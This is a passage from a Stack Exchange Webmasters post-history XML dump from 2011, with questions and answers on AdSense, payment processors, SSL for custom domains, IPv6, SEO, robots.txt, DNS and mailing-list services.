straight formula to guarantee a successful online community. I'd suggest that you read as much as you can from people who've built successful communities already (the rest of othe [SE blog](http://blog.stackoverflow.com/) is superb), launch your site, collect as much data as you can, listen to feedback, and use that to test and improve it. It's an iterative process; no community is successful overnight." />
  <row Id="42216" PostHistoryTypeId="16" PostId="17536" RevisionGUID="198a5ffa-782f-45ab-8b6a-d748c8ccae6e" CreationDate="2011-07-29T11:53:11.917" UserId="7198" />
  <row Id="42217" PostHistoryTypeId="2" PostId="17537" RevisionGUID="cffe2442-d7d6-4c1e-b363-46ff0e83ca98" CreationDate="2011-07-29T12:30:45.577" UserId="9204" Text="I see certain sites like mashable.com etc have a 728x15 ad format below the title. And they look like normal adsense ads (and not link units). However I don't see any such option in the ad formats presented in my google adsense account. &#xD;&#xA;&#xD;&#xA;Do they have special access to those google ad formats or does it work by just changing the leaderboard code and reducing the height from 90 to 15?" />
  <row Id="42218" PostHistoryTypeId="1" PostId="17537" RevisionGUID="cffe2442-d7d6-4c1e-b363-46ff0e83ca98" CreationDate="2011-07-29T12:30:45.577" UserId="9204" Text="How does one get a 728x15 google adsense ad (not link unit)?" />
  <row Id="42219" PostHistoryTypeId="3" PostId="17537" RevisionGUID="cffe2442-d7d6-4c1e-b363-46ff0e83ca98" CreationDate="2011-07-29T12:30:45.577" UserId="9204" Text="&lt;google-adsense&gt;" />
  <row Id="42220" PostHistoryTypeId="25" PostId="17532" RevisionGUID="f02ddf41-9732-4202-b4a7-48441e7c0acc" CreationDate="2011-07-29T12:33:04.530" Comment="http://twitter.com/#!/StackWebmasters/status/96921174323380225" />
  <row Id="42221" PostHistoryTypeId="17" PostId="17538" RevisionGUID="7f8c3a19-ccab-4c01-85b1-611e0155c305" CreationDate="2011-07-29T12:53:39.590" UserId="-1" Comment="from http://stackoverflow.com/questions/6870506/any-good-alternatives-to-mediawiki-for-creating-an-intranet-type-system" Text="" />
  <row Id="42222" PostHistoryTypeId="17" PostId="17539" RevisionGUID="6235a173-379d-4fdf-8de4-7acfc420fc91" CreationDate="2011-07-29T12:53:39.590" UserId="-1" Comment="from http://stackoverflow.com/questions/6870506/any-good-alternatives-to-mediawiki-for-creating-an-intranet-type-system" Text="" />
  <row Id="42223" PostHistoryTypeId="2" PostId="17539" RevisionGUID="4d792597-8041-42c2-bfee-2e9156b8c629" CreationDate="2011-07-29T08:29:55.180" UserId="6513" Text="DokuWiki http://www.dokuwiki.org/dokuwiki &#xD;&#xA;&#xD;&#xA;It has user authentication built in to prevent unauthorized access." />
  <row Id="42224" PostHistoryTypeId="2" PostId="17538" RevisionGUID="793e9076-78cd-4bf7-b4cc-96f2f0fb6d61" CreationDate="2011-07-29T08:27:23.883" UserDisplayName="Gav" Text="I would like to install some form of intranet system to allow multiple users to add documentation to - MediaWiki would suffice, I just wondered if anyone knew of any better alternatives (must be PHP)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="42225" PostHistoryTypeId="1" PostId="17538" RevisionGUID="793e9076-78cd-4bf7-b4cc-96f2f0fb6d61" CreationDate="2011-07-29T08:27:23.883" UserDisplayName="Gav" Text="Any good alternatives to MediaWiki for creating an 'intranet' type system" />
  <row Id="42226" PostHistoryTypeId="3" PostId="17538" RevisionGUID="793e9076-78cd-4bf7-b4cc-96f2f0fb6d61" CreationDate="2011-07-29T08:27:23.883" UserDisplayName="Gav" Text="&lt;php&gt;&lt;mediawiki&gt;&lt;intranet&gt;" />
  <row Id="42227" PostHistoryTypeId="5" PostId="17538" RevisionGUID="d7b32eb6-758c-4c64-bbba-1895f8a1ddc4" CreationDate="2011-07-29T12:57:42.517" UserId="1253" Comment="modified tags, minor text edits" Text="I would like to install some form of intranet system to allow multiple users to add documentation to - MediaWiki would suffice, I just wondered if anyone knew of any better alternatives (must be PHP).&#xD;&#xA;" />
  <row Id="42228" PostHistoryTypeId="4" PostId="17538" RevisionGUID="d7b32eb6-758c-4c64-bbba-1895f8a1ddc4" CreationDate="2011-07-29T12:57:42.517" UserId="1253" Comment="modified tags, minor text edits" Text="Any good alternatives to MediaWiki for creating an 'intranet' type system?" />
  <row Id="42229" PostHistoryTypeId="6" PostId="17538" RevisionGUID="d7b32eb6-758c-4c64-bbba-1895f8a1ddc4" CreationDate="2011-07-29T12:57:42.517" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;mediawiki&gt;&lt;intranet&gt;" />
  <row Id="42230" PostHistoryTypeId="2" PostId="17540" RevisionGUID="2992d78c-6583-43c0-bc8e-fcfd448f6a33" CreationDate="2011-07-29T12:59:12.767" UserId="9260" Text="I was asked by a friend from Singapore to setup an online e-commerce website.&#xD;&#xA;&#xD;&#xA;I am new to e-commerce. Based on what I've read, in order to process credit card payment, I will need a merchant account with a bank. The initial setup fees is rather high and have to commit a large amount to transaction every month. This is no good for a newly start up business.&#xD;&#xA;&#xD;&#xA;The other option is to use third Party Payment Service such as PayPal or WorldPay. This Sounds like an ideal solution but the problem is it would take a long time to process the payment and actually get the money. Further more Paypal has a really bad reputation nowadays and not to mention about the high transaction cost rate.&#xD;&#xA;&#xD;&#xA;I am wondering if there's any other cost effective/free solution for such newly startup business?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks~&#xD;&#xA;Jeno" />
  <row Id="42231" PostHistoryTypeId="1" PostId="17540" RevisionGUID="2992d78c-6583-43c0-bc8e-fcfd448f6a33" CreationDate="2011-07-29T12:59:12.767" UserId="9260" Text="Starting an online e-commerce business" />
  <row Id="42232" PostHistoryTypeId="3" PostId="17540" RevisionGUID="2992d78c-6583-43c0-bc8e-fcfd448f6a33" CreationDate="2011-07-29T12:59:12.767" UserId="9260" Text="&lt;ecommerce&gt;" />
  <row Id="42233" PostHistoryTypeId="2" PostId="17541" RevisionGUID="01da1630-ef00-46b0-a4a9-8ee740df047c" CreationDate="2011-07-29T13:14:34.437" UserId="1253" Text="There is no such thing as free credit card payments so let's start by ruling that out. (Actually it is possible to get free payment processing from Google Checkout if you are a non-profit and jump through a few hoops but that doesn't apply here and is the exception to the rule).&#xD;&#xA;&#xD;&#xA;You're going to find that your options are limited and when you do the math that they all work out to be just about the same. I wrote [an article that compares popular payment options][1] and a true merchant account and Paypal workout to be about the same (Paypal is cheaper most of the time but not by much). You can [compare quotes you get from merchant account providers and Paypal using the calculator][2] included in the article.&#xD;&#xA;&#xD;&#xA;Paypal is a great processor. They are fast and efficient and very reliable. The main reason why you hear bad things about them is they are not afraid to freeze an account if they see suspicious activity. Sure, there are some false positives, but most of the time they are able to reduce fraud which benefits everybody. Not to mention once you reach the size of a company like Paypal you are going to see complaints about them no matter what they do. There's no way to make millions of people happy without upsetting someone.&#xD;&#xA;&#xD;&#xA;If you are getting quotes with high start up fees from merchant account providers then you need to keep shopping around. There are no hard costs related to setting up an account so if a provider says they have one then tell them, &quot;no thank you&quot;. There a lot of merchant account providers out there so if you shop around you will eventually find a good deal. You can compare providers using [this rate comparison calculator][3].&#xD;&#xA;&#xD;&#xA;*Disclaimer: I wrote the article and calculators*&#xD;&#xA;&#xD;&#xA;  [1]: http://www.merchant-account-services.org/article/payment-gateways-reviewed&#xD;&#xA;  [2]: http://www.merchant-account-services.org/resources/calculators/&#xD;&#xA;  [3]: http://www.merchant-account-services.org/resources/calculators/advanced-rate-comparison.php" />
  <row Id="42234" PostHistoryTypeId="5" PostId="17540" RevisionGUID="ca7ac487-31fa-4b60-8345-98dc72e127ad" CreationDate="2011-07-29T13:20:24.917" UserId="1253" Comment="modified tags, minor text edits" Text="I was asked by a friend from Singapore to setup an online e-commerce website.&#xD;&#xA;&#xD;&#xA;I am new to e-commerce. Based on what I've read, in order to process credit card payment, I will need a merchant account with a bank. The initial setup fees is rather high and have to commit a large amount to transaction every month. This is no good for a newly start up business.&#xD;&#xA;&#xD;&#xA;The other option is to use third Party Payment Service such as PayPal or WorldPay. This Sounds like an ideal solution but the problem is it would take a long time to process the payment and actually get the money. Further more Paypal has a really bad reputation nowadays and not to mention about the high transaction cost rate.&#xD;&#xA;&#xD;&#xA;I am wondering if there's any other cost effective/free solution for such newly startup business?" />
  <row Id="42235" PostHistoryTypeId="6" PostId="17540" RevisionGUID="ca7ac487-31fa-4b60-8345-98dc72e127ad" CreationDate="2011-07-29T13:20:24.917" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;paypal&gt;&lt;payment-gateway&gt;" />
  <row Id="42236" PostHistoryTypeId="2" PostId="17542" RevisionGUID="893215ab-ada3-4c66-a7fa-349ef68ad972" CreationDate="2011-07-29T14:13:02.463" UserId="3697" Text="Assume I have a website that offers a web-based service to companies:&#xD;&#xA;&#xD;&#xA;    myservice.com&#xD;&#xA;&#xD;&#xA;Each company has a subdomain wildcarded via mod_rewrite:&#xD;&#xA;&#xD;&#xA;    client1.myservice.com&#xD;&#xA;&#xD;&#xA;(This is typical of many companies e.g. Wufoo)&#xD;&#xA;&#xD;&#xA;My site has a wildcard SSL certificate for *.myservice.com, allowing clients to connect to their account securely.&#xD;&#xA;&#xD;&#xA;As an option, clients can re-point their domain name to my website by changing the A record:&#xD;&#xA;&#xD;&#xA;    www.client1.com &gt; client1.myservice.com&#xD;&#xA;&#xD;&#xA;(as is possible at [Tumblr][1])&#xD;&#xA;&#xD;&#xA;Is it possible to still offer SSL security on the forwarding domain, so that www.client1.com (pointing to client1.myservice.com) is secured over HTTPS? Either by:&#xD;&#xA;&#xD;&#xA; 1. Extending my certificate to cover the clients' domain&#xD;&#xA; 2. Somehow allowing the client to upload a certificate to be hosted on my server&#xD;&#xA; 3. Any other method?&#xD;&#xA;&#xD;&#xA;I've done some work with SSL certificates in the past and don't think this is possible. Can anyone prove me wrong?&#xD;&#xA;&#xD;&#xA;Thanks, Adam&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tumblr.com/docs/en/custom_domains" />
  <row Id="42237" PostHistoryTypeId="1" PostId="17542" RevisionGUID="893215ab-ada3-4c66-a7fa-349ef68ad972" CreationDate="2011-07-29T14:13:02.463" UserId="3697" Text="Forwarded/custom domain names and SSL" />
  <row Id="42238" PostHistoryTypeId="3" PostId="17542" RevisionGUID="893215ab-ada3-4c66-a7fa-349ef68ad972" CreationDate="2011-07-29T14:13:02.463" UserId="3697" Text="&lt;domains&gt;&lt;dns&gt;&lt;ssl&gt;" />
  <row Id="42239" PostHistoryTypeId="2" PostId="17543" RevisionGUID="68c5e640-b6d6-44d7-9478-5d6a1a7f9ee4" CreationDate="2011-07-29T14:14:12.990" UserId="3471" Text="Alfresco or Nuxeo are probably the two open source projects closest to Sharepoint. I tend to particularly like Alfresco (we package it as a free download for [BitNami][1]) because of the out of the box network drive integration for Windows clients (it can be a bit tricky to configure though)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/alfresco" />
  <row Id="42240" PostHistoryTypeId="16" PostId="17535" RevisionGUID="a6efa91a-041f-4eca-8c43-81846ca0c7fc" CreationDate="2011-07-29T14:18:51.557" UserId="1253" />
  <row Id="42241" PostHistoryTypeId="2" PostId="17544" RevisionGUID="c0b7bc2d-c169-4551-954a-8ecbeb68f07a" CreationDate="2011-07-29T14:19:05.560" UserId="925" Text="If trust worthy people link to you, then google will trust you.&#xD;&#xA;&#xD;&#xA;Get more inbound links." />
  <row Id="42242" PostHistoryTypeId="5" PostId="17534" RevisionGUID="83bba6a6-c4bf-4c40-b97c-f0c1a155dae7" CreationDate="2011-07-29T14:28:53.413" UserId="1643" Comment="added 31 characters in body" Text="IPv6 is mostly about the &quot;plumbing&quot; between your server and the user. The various parts of that plumbing may or may not be IPv6 compatible. Even if you make sure the network from your server to your ISP is your ISP may not support it. On the other hand, it's worth making sure your webserver software (Apache or IIS say) supports it (Apache v2.0 and upwards does, IIS 6.0 and upwards does), and your network equipment. &#xD;&#xA;&#xD;&#xA;The main way that it would stop things working is when someone registers a domain and there are no IPv4 IP addresses available for the hosting company to use, so they only get an IPv6 IP address. Then it will only be accessible to people who have IPv6 all the way between them and the server.&#xD;&#xA;&#xD;&#xA;Although the last lot of IPv4 addresses have been given to the people who give them out, they haven't all been given out. Also, if it really looks like it's getting short people may release unused addresses.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42243" PostHistoryTypeId="2" PostId="17545" RevisionGUID="19c610cf-1b5a-4950-b74e-9027373a5b57" CreationDate="2011-07-29T14:49:26.890" UserId="9262" Text="Will it affect SEO if we hide certain elements (like long lists of links) with CSS on devices with small screen sizes or alternatively remove the elements with JavaScript on pageload.&#xD;&#xA;" />
  <row Id="42244" PostHistoryTypeId="1" PostId="17545" RevisionGUID="19c610cf-1b5a-4950-b74e-9027373a5b57" CreationDate="2011-07-29T14:49:26.890" UserId="9262" Text="Does hidding certain elements with CSS impact SEO" />
  <row Id="42245" PostHistoryTypeId="3" PostId="17545" RevisionGUID="19c610cf-1b5a-4950-b74e-9027373a5b57" CreationDate="2011-07-29T14:49:26.890" UserId="9262" Text="&lt;seo&gt;&lt;css&gt;" />
  <row Id="42246" PostHistoryTypeId="2" PostId="17546" RevisionGUID="b8f8f99a-f1fa-4be2-8796-40fe1ebd1626" CreationDate="2011-07-29T14:54:38.930" UserId="9263" Text="I have a page where the general structure is&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;#section1&quot;&gt;section 1&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;#section2&quot;&gt;section 2&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;#section3&quot;&gt;section 3&lt;/a&gt;&#xD;&#xA;    &lt;a href=&quot;#section4&quot;&gt;section 4&lt;/a&gt;&#xD;&#xA; &#xD;&#xA;    &lt;section id=&quot;section1&quot;&gt;&#xD;&#xA;    &lt;h1&gt;section 1&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;some content&lt;/p&gt;&#xD;&#xA;    &lt;/section&gt;&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    &lt;section id=&quot;section2&quot;&gt;&#xD;&#xA;    &lt;h1&gt;section 2&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;some content&lt;/p&gt;&#xD;&#xA;    &lt;/section&gt;&#xD;&#xA;&#xD;&#xA;    &lt;section id=&quot;section3&quot;&gt;&#xD;&#xA;    &lt;h1&gt;section 3&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;some content&lt;/p&gt;&#xD;&#xA;    &lt;/section&gt;&#xD;&#xA;&#xD;&#xA;    &lt;section id=&quot;section4&quot;&gt;&#xD;&#xA;    &lt;h1&gt;section 4&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;some content&lt;/p&gt;&#xD;&#xA;    &lt;/section&gt;&#xD;&#xA;&#xD;&#xA;(there are about 10 sections all with quite a bit more content and have missed out alot of the surrounding html but this is the basic structure).&#xD;&#xA;&#xD;&#xA;All the content is on one page and clearly seperated semantically and the page relies on javascript to choose which sections to hide / show. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am wondering whether from an SEO perspective it would be good to use #! links and implement http://code.google.com/web/ajaxcrawling/ returning only the content for each section? Would this mean that the site no longer functioned without javascript? If the '!' was added in using javascript would google pick this up or would they use the raw html? Or will google index the content on the page correctly (ie ignore the javascript completely)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42247" PostHistoryTypeId="1" PostId="17546" RevisionGUID="b8f8f99a-f1fa-4be2-8796-40fe1ebd1626" CreationDate="2011-07-29T14:54:38.930" UserId="9263" Text="If all content is on a single page and hidden/shown with JS would it make sense to use hashbangs?" />
  <row Id="42248" PostHistoryTypeId="3" PostId="17546" RevisionGUID="b8f8f99a-f1fa-4be2-8796-40fe1ebd1626" CreationDate="2011-07-29T14:54:38.930" UserId="9263" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;javascript&gt;&lt;html5&gt;" />
  <row Id="42249" PostHistoryTypeId="5" PostId="17545" RevisionGUID="f02ffbac-4097-4487-b696-49e6e62e418b" CreationDate="2011-07-29T15:01:46.200" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How bad is it to use display: none in CSS?](http://webmasters.stackexchange.com/questions/1377/how-bad-is-it-to-use-display-none-in-css)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Will it affect SEO if we hide certain elements (like long lists of links) with CSS on devices with small screen sizes or alternatively remove the elements with JavaScript on pageload.&#xD;&#xA;" />
  <row Id="42250" PostHistoryTypeId="10" PostId="17545" RevisionGUID="9a53b14f-c66a-40b6-a667-69722dacaecf" CreationDate="2011-07-29T15:01:45.530" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42251" PostHistoryTypeId="17" PostId="17547" RevisionGUID="257e8e5b-effb-4c25-a9cf-e07a228cda47" CreationDate="2011-07-29T15:11:17.353" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/17691/how-can-i-use-my-domain-name-to-map-into-my-amazon-ec2s-public-ip" Text="" />
  <row Id="42252" PostHistoryTypeId="2" PostId="17547" RevisionGUID="6e0cc615-eda3-444f-8ecf-3cfbd655ba65" CreationDate="2011-07-29T03:44:12.473" UserId="9269" UserDisplayName="Kit Ho" Text="How to put my registered domain name into DNS server?&#xD;&#xA;Is there any DNS server available in this world?" />
  <row Id="42253" PostHistoryTypeId="1" PostId="17547" RevisionGUID="6e0cc615-eda3-444f-8ecf-3cfbd655ba65" CreationDate="2011-07-29T03:44:12.473" UserId="9269" UserDisplayName="Kit Ho" Text="How can I use my domain name to map into my Amazon EC2's public IP?" />
  <row Id="42254" PostHistoryTypeId="3" PostId="17547" RevisionGUID="6e0cc615-eda3-444f-8ecf-3cfbd655ba65" CreationDate="2011-07-29T03:44:12.473" UserId="9269" UserDisplayName="Kit Ho" Text="&lt;ip&gt;&lt;dns&gt;&lt;amazon-ec2&gt;" />
  <row Id="42255" PostHistoryTypeId="2" PostId="17548" RevisionGUID="ef798ea0-1ccd-4301-9338-d5ac30eaf260" CreationDate="2011-07-29T15:14:44.937" UserId="8687" Text="There should be no need to shift existing websites onto IPv6 for a long time. IPv4 will keep running for years yet. There will be a process where new services begin to use IPv6 instead of IPv4. The two systems will co-exist side by side. To the end user, assuming they have their software up to date, they should notice no difference. If you want to test whither your PC can cope with IPv6, just go to this page: [ipv6test.google.com][1]&#xD;&#xA;&#xD;&#xA;As IPv4 addresses run out, there will not be a sudden end. Rather the price to obtain an IPv4 will increase and IPv6 will begin to look attractive as an alternative.&#xD;&#xA;&#xD;&#xA;8 June, 2011 was [IPv6 day][2]. Many major sites including Google, Facebook, Yahoo! and others turned their servers to IPv6 for one day. The internet continued as normal that day.&#xD;&#xA;&#xD;&#xA;If you are running your own web server, you will have to read up some details on IPv6 in order to use it, when the time comes. There are a few tweaks that will need to be made by the admin to the server. However, if you, like most web site owners, purchase your hosting from a web hosting provider, then you needn't do anything. The service provider will take care of everything.&#xD;&#xA;&#xD;&#xA;Why is IPv6 not backward compatible? Well IPv6 is more than just a change in the IP number though that is a significant part of it. There are a load of other changes to the function of the protocol which should enhance security and speed while simplifying many operations. Have a look at this article on [IPv4-IPv6 Compatibility][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ipv6test.google.com/&#xD;&#xA;  [2]: http://www.worldipv6day.org/&#xD;&#xA;  [3]: http://www.bgpexpert.com/article.php?article=106" />
  <row Id="42256" PostHistoryTypeId="2" PostId="17549" RevisionGUID="22997a5e-0c99-407f-a1d7-ae6f6f0d2f5c" CreationDate="2011-07-29T15:23:23.057" UserId="6033" Text="Make a test page and use [fetch as googlebot][1] to see how it crawls your page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=158587" />
  <row Id="42257" PostHistoryTypeId="25" PostId="17546" RevisionGUID="e8dde676-1f1f-45e8-a55d-8c30bd1612ed" CreationDate="2011-07-29T15:33:05.817" Comment="http://twitter.com/#!/StackWebmasters/status/96966480419225600" />
  <row Id="42258" PostHistoryTypeId="2" PostId="17550" RevisionGUID="a3fa18ac-4003-4178-b707-4a0a29005d12" CreationDate="2011-07-29T15:51:20.943" UserId="8957" Text="I would assume that you will have to set up your own dns server (as part of an EC2 server ?) and have the IP address of that dns server put in as your domain's main DNS.&#xD;&#xA;I obviously don't know how your setup looks like, but you should be able to set up [BIND][1] and then change the entries of your domain wherever it's registered to point to that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/BIND" />
  <row Id="42259" PostHistoryTypeId="2" PostId="17551" RevisionGUID="a3f7b144-6bb7-471d-9bdb-097f15953db0" CreationDate="2011-07-29T15:51:50.943" UserId="7126" Text="Using robots.txt, how do you disallow the root of a site (http://www.example.com/) but allow a subdirectory (http://www.example.com/lessons/)?" />
  <row Id="42260" PostHistoryTypeId="1" PostId="17551" RevisionGUID="a3f7b144-6bb7-471d-9bdb-097f15953db0" CreationDate="2011-07-29T15:51:50.943" UserId="7126" Text="How do you disallow root in robots.txt, but allow a subdirectory?" />
  <row Id="42261" PostHistoryTypeId="3" PostId="17551" RevisionGUID="a3f7b144-6bb7-471d-9bdb-097f15953db0" CreationDate="2011-07-29T15:51:50.943" UserId="7126" Text="&lt;robots.txt&gt;" />
  <row Id="42262" PostHistoryTypeId="2" PostId="17552" RevisionGUID="dc586d50-b289-4898-98ae-b7641764b6b6" CreationDate="2011-07-29T16:14:52.293" UserId="5694" Text="    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;    Allow: /lessons/&#xD;&#xA;    Allow: /other-dir/&#xD;&#xA;&#xD;&#xA;This does disallow the entire website, but explicitly allows given directories." />
  <row Id="42263" PostHistoryTypeId="2" PostId="17553" RevisionGUID="fab9e4a2-a034-47ae-871b-f7b8eda79569" CreationDate="2011-07-29T16:20:08.110" UserId="9266" Text="I'm trying to add some javascript triggered Google Analytics events to a website that is already working with GA.&#xD;&#xA;&#xD;&#xA;I've included the following beneath the standard GA script (new ga.js script). &#xD;&#xA;&#xD;&#xA;    _gaq.push(['_trackEvent', 'Downloads', 'Extension']);&#xD;&#xA;&#xD;&#xA;Which seems to be working ok, but the results listed in the Events Overview report (after waiting 24 hours), don't make sense. It states that there have been 1 Total Events and 5 Unique Events (screenshot below). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://img.skitch.com/20110729-8hufapcq2366rq3cbpuihjgqjd.jpg&#xD;&#xA;" />
  <row Id="42264" PostHistoryTypeId="1" PostId="17553" RevisionGUID="fab9e4a2-a034-47ae-871b-f7b8eda79569" CreationDate="2011-07-29T16:20:08.110" UserId="9266" Text="How to interpret Events from Unique Events in Google Analytics?" />
  <row Id="42265" PostHistoryTypeId="3" PostId="17553" RevisionGUID="fab9e4a2-a034-47ae-871b-f7b8eda79569" CreationDate="2011-07-29T16:20:08.110" UserId="9266" Text="&lt;google-analytics&gt;&lt;javascript&gt;" />
  <row Id="42266" PostHistoryTypeId="2" PostId="17554" RevisionGUID="dd77780f-b580-4172-b12a-e62be4dc5837" CreationDate="2011-07-29T17:09:09.597" UserId="8557" Text="The new PageSpeed 1.11 does not suggest anything for using efficient CSS selectors. Does that mean that it does not affect the speed of my site. In PageSpeed 1.9, I scored and F (0) for not using efficient CSS selectors. Then, my overall score was 89. Now, there is no rule for efficient CSS selection and I score 93. Can anyone explain why Google has removed the rule." />
  <row Id="42267" PostHistoryTypeId="1" PostId="17554" RevisionGUID="dd77780f-b580-4172-b12a-e62be4dc5837" CreationDate="2011-07-29T17:09:09.597" UserId="8557" Text="Using Efficient CSS Selectors Page Speed1.11" />
  <row Id="42268" PostHistoryTypeId="3" PostId="17554" RevisionGUID="dd77780f-b580-4172-b12a-e62be4dc5837" CreationDate="2011-07-29T17:09:09.597" UserId="8557" Text="&lt;google&gt;&lt;page-speed&gt;" />
  <row Id="42269" PostHistoryTypeId="2" PostId="17555" RevisionGUID="7522880b-6c61-42d2-861a-a1865e908177" CreationDate="2011-07-29T17:18:54.580" UserId="9247" Text="I have resolved this matter, here are the details:&#xD;&#xA;&#xD;&#xA;When I created the domain alias on my host's control panel, I removed all existing CNAME and MX records, leaving only the NS and A records. Then I followed Google's instructions for setting up new MX records.  This worked, but I was under the impression it didn't work, because the URL *mail.aliasDomain.co.za* still pointed to my host, not to Google. I suspected I was missing a CNAME, but when I tried to create a new CNAME pointing *mail.aliasDomain.co.za* to *ghs.google.com*, I got an error that such CNAME 'already exists for the zone'.&#xD;&#xA;&#xD;&#xA;It turns out that I created all the MX records with the *mail* prefix, so I couldn't create another record to that same name. After removing the *mail* prefix from my MX records, I was finally able to create one required CNAME, to *gsh.google.com*, for the *mail* prefixed zone.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42270" PostHistoryTypeId="4" PostId="17554" RevisionGUID="de43beaa-2372-4651-8524-a726cf5fb2ce" CreationDate="2011-07-29T17:20:29.850" UserId="8557" Comment="edited title" Text="Using Efficient CSS Selectors Page Speed 1.11" />
  <row Id="42271" PostHistoryTypeId="2" PostId="17556" RevisionGUID="ae036730-d838-40e2-a886-5873e58a5da1" CreationDate="2011-07-29T17:41:17.820" UserId="6355" Text="How about jQuery.ganttView?&#xD;&#xA;https://github.com/thegrubbsian/jquery.ganttView" />
  <row Id="42272" PostHistoryTypeId="2" PostId="17557" RevisionGUID="ba31c8ba-720e-46f0-a00a-6c7695d2cc88" CreationDate="2011-07-29T17:42:15.240" UserId="1253" Text="It's still there. It looks like that rule may only apply only under circumstances like a deep DOM. Sites with that have shallow DOMs may not have this rule apply to them. I've tried to find a site where this rule is applied but haven't found one yet so I can't say for sure when it is triggered or not. Hopefully someone out there can figure it out for us as it would be nice thing to know." />
  <row Id="42273" PostHistoryTypeId="25" PostId="17551" RevisionGUID="19e364d8-db35-408e-b37c-021167982d17" CreationDate="2011-07-29T18:33:05.703" Comment="http://twitter.com/#!/StackWebmasters/status/97011781754564609" />
  <row Id="42274" PostHistoryTypeId="2" PostId="17558" RevisionGUID="c4db0548-3954-4cec-b380-863a2cc62f1d" CreationDate="2011-07-29T18:47:47.663" UserId="9273" Text="I'm using a Facebook Connect option on an older vBulletin installation (3.8), and the last thing I need to do now is log the new user in so they have access to all the things normal users do.&#xD;&#xA;&#xD;&#xA;I've managed to set the vBulletin cookie, but it seems I need to do something else, like invoke a function to create a user session or something of the sort, for vBulletin to recognize them as logged in. Can anyone let me know what I have to do to finish this?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="42275" PostHistoryTypeId="1" PostId="17558" RevisionGUID="c4db0548-3954-4cec-b380-863a2cc62f1d" CreationDate="2011-07-29T18:47:47.663" UserId="9273" Text="Duplicate login/session creation in vBulletin 3.8" />
  <row Id="42276" PostHistoryTypeId="3" PostId="17558" RevisionGUID="c4db0548-3954-4cec-b380-863a2cc62f1d" CreationDate="2011-07-29T18:47:47.663" UserId="9273" Text="&lt;facebook&gt;&lt;vbulletin&gt;" />
  <row Id="42279" PostHistoryTypeId="2" PostId="17560" RevisionGUID="07f367a9-b759-429d-bd05-20f32ec0cb71" CreationDate="2011-07-29T20:38:07.113" UserId="4622" Text="I have ~20 lists, all of which are mostly announce-only (newsletters--recipients do not reply back to the list) running in GNU Mailman. It's alright. Mailman has certainly prooven itself but we want some progressive features and a better peice of mind (delivery success, hosting, etc... we'd be happy paying a 3rd party to handle these things).&#xD;&#xA;&#xD;&#xA;can MailChimp give us what we need? I see tons of fun copy and graphics, showing off neat features but what I really want to do is; if MailChimp is doing the mailings, what does the address look like? is MailChimp good for sending out simple newsletters? What about automatic bounce processing / unsubscribing of users?&#xD;&#xA;&#xD;&#xA;I setup a free account but I don't see how any of it integrates into my own domain... no DNS overrides or cname suggestions... &#xD;&#xA;&#xD;&#xA;Also, I see MailChimp has a clean and nifty API client in Python that I want to integrate into our sites (Django powered) so that really really makes the service attractive to me--I just hope I understand it correctly." />
  <row Id="42280" PostHistoryTypeId="1" PostId="17560" RevisionGUID="07f367a9-b759-429d-bd05-20f32ec0cb71" CreationDate="2011-07-29T20:38:07.113" UserId="4622" Text="Can I migrate from GNU Mailman to MailChimp?" />
  <row Id="42281" PostHistoryTypeId="3" PostId="17560" RevisionGUID="07f367a9-b759-429d-bd05-20f32ec0cb71" CreationDate="2011-07-29T20:38:07.113" UserId="4622" Text="&lt;email&gt;" />
  <row Id="42282" PostHistoryTypeId="5" PostId="17560" RevisionGUID="f58dad4b-6868-441e-87f0-3410f37351ba" CreationDate="2011-07-29T20:41:52.350" UserId="1253" Comment="modified tags" Text="I have ~20 lists, all of which are mostly announce-only (newsletters--recipients do not reply back to the list) running in GNU Mailman. It's alright. Mailman has certainly prooven itself but we want some progressive features and a better peice of mind (delivery success, hosting, etc... we'd be happy paying a 3rd party to handle these things).&#xD;&#xA;&#xD;&#xA;can MailChimp give us what we need? I see tons of fun copy and graphics, showing off neat features but what I really want to do is; if MailChimp is doing the mailings, what does the address look like? is MailChimp good for sending out simple newsletters? What about automatic bounce processing / unsubscribing of users?&#xD;&#xA;&#xD;&#xA;I setup a free account but I don't see how any of it integrates into my own domain... no DNS overrides or cname suggestions.&#xD;&#xA;&#xD;&#xA;Also, I see MailChimp has a clean and nifty API client in Python that I want to integrate into our sites (Django powered) so that really really makes the service attractive to me--I just hope I understand it correctly." />
